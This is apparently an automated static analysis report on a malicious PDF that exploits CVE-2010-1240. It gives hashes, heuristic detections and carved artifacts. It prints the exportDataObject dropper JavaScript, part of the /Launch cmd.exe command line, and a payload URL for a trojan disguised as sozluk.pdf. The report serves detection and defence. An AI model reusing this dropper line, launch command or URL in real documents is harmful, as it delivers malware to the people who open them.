Malicious PDF — malware analysis report

Static analysis result for SHA-256 38381d0d55e51b9b…

MALICIOUS

PDF

225.8 KB Created: ÅĽ{ìxôb덶˜x¦àä Authoring application: Ñ­ì9µ<°`ôÞëQ‰÷£ÍƟ]‡™s (via Àý$¾-°užÓôIÀ"þ´ÌRœßM’Ÿ€$eæ%k) First seen: 2026-05-10
MD5: 572cf76676cb5ce7267d94fda8272dad SHA-1: b0104a38da34c8eedaa921b1f170b9e54d709183 SHA-256: 38381d0d55e51b9b155d3113699b0c027b07bb38649eccdcb44f862b29cfe0a6
576 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment T1059.007 JavaScript

This PDF file exploits CVE-2010-1240 to launch cmd.exe, which then attempts to execute an embedded payload. The embedded JavaScript, 'this.exportDataObject({ cName: "sozluk", nLaunch: 0 });', is used to drop and potentially launch the payload. The payload, disguised as 'sozluk.pdf', is actually a Windows executable (detected as Win.Trojan.Rozena-131) and is hosted at http://demonportal.com/calc.exe.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9990

Heuristics 13

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\sozluk.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://demonportal.com/calc.exe��?@ In extracted file (sozluk.pdf)

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
sozluk.pdf pdf-embedded-file PDF EmbeddedFile object 28 at offset 0x1631 37888 bytes
SHA-256: ee0e817687a0d9e82a5e4baea631f1e5f2135da9f0bb5be60aec60dc2b637fa7
Detection
ClamAV: Win.Trojan.Rozena-131
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=sozluk.pdf; kind=pdf-embedded-file Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_STR_GETPROCADDRESS, SC_STR_LOADLIBRARY Static shellcode analysis recovered API/import strings: GetProcAddress, ExitProcess, LoadLibraryA, VirtualAlloc
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x7B9 55 bytes
SHA-256: 9b8fa365d442bfacfed2046967c9bcf544ff4dadfdebfbfbc53e24bdd6d5a918
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "sozluk", nLaunch: 0 });

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